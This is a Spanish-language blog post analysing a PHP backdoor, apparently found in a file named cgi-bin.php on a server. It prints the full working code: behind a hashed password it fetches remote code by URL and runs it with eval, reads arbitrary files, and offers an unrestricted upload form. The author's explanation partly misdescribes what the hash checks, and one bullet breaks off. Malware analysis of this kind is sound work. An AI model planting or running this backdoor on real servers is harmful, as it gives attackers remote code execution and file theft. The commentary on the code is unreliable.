Bots y backdoors en el servidor

Bienvenidos de nuevo a este rincón oscuro, hackers y desarrolladores, hoy les quiero contar algo que me encontré rondando por internet, generalmente los script kiddies montan webshells de cualquier manera en un servidor, sin fijarse si están troyanizadas o peor aún si alguien tomó el control del servidor anteriormente.

Un amigo que es pentester (c0d3gh0st), recientemente ha estado checando la integridad y seguridad de algunos servidores, entonces se dió cuenta que en el servidor principal había un archivo extraño de nombre cgi-bin.php, que como ustedes sabrán son los scripts que se usaban en perl y php en sus inicios para crear sitios web un tanto primitivos.

Este fichero contenía el siguiente código ofuscado, en donde el atacante descargaba el bot de un origen desconocido para abrir una puerta trasera en un servidor, pero lo interesante es que jamás se revela el origen del bot, o en donde se encuentra alocado, el archivo según los logs arrojados por una webshell en ese mismo servidor, en donde se puede apreciar que el archivo fue creado en Marzo de este año, hace más de un mes.

<?php
function getBot($url)
{
$header = array("Accept: application/json");
$ch = curl_init();
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, "iceBot");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$retValue = curl_exec($ch);
$response = json_decode(curl_exec($ch));
$ee = curl_getinfo($ch);
if($retValue==""){
$retValue = file_get_contents($url);
}
return $retValue;
}
if(md5(sha1(md5(sha1(@$_REQUEST["pqd"])))) == "a04fa6726b2ecf2ad938d44fbb93908a"){
if(@$_REQUEST["cmd"]){
echo @eval(getBot(@$_REQUEST["cmd"]));
exit();
}
if(@$_REQUEST["read"]){
$file = file_get_contents($_REQUEST["read"]);
echo $file;
exit();
}
echo "<b>Namesis

".php_uname()."
</b>";
echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
echo "<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>";
if( @$_POST["_upl"] == "Upload" ) { if(@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { echo "<b>Upload Success !!!</b>

"; } else { echo "<b>Upload Fail !!!</b>

"; }}
}else{
exit();
}
?>

Tal como se puede ver en el código anterior, se usa lo siguiente:

  • Una función que recibe como parámetro la url, en la cual se encuentra alocado el bot.
  • Que usa curl para descargar el código del bot.
  • Usa JSON para comunicarse con un API y obtener texto preformateado.
  • Verifica la respuesta obtenida del API mediante un hash en el cual transforma a md5 y sha1, dos veces.
  • Si se envía un comando por parte del
  • Usa (@) en todos las funciones para evitar que el servidor haga log de un warning o fatal error, en el caso de que no exista un módulo cargado en el lenguaje, que el API no exista etc.
  • Crea un formulario que permite subir cualquier cosa al servidor.

Lo más interesante es que con pocas lineas de código, aunque no tiene la mejor estructura y estilo, logra conseguir su objetivo que es infectar el servidor y lograr que sea parte de una botnet, estoy a la espera de más resultados para poder dar con el servidor que controla estos bots.

Mis preguntas son:

  1. ¿Quién montó este bot downloader?
  2. ¿A qué servidor se comunica?
  3. ¿Existe un panel de control que monitorea los bots en tiempo real?
  4. ¿Se puede ownear el servidor del atacante?

Si quieren descargar el script se encuentra en pastebin.

Hasta luego, happy coding!

Deja un comentario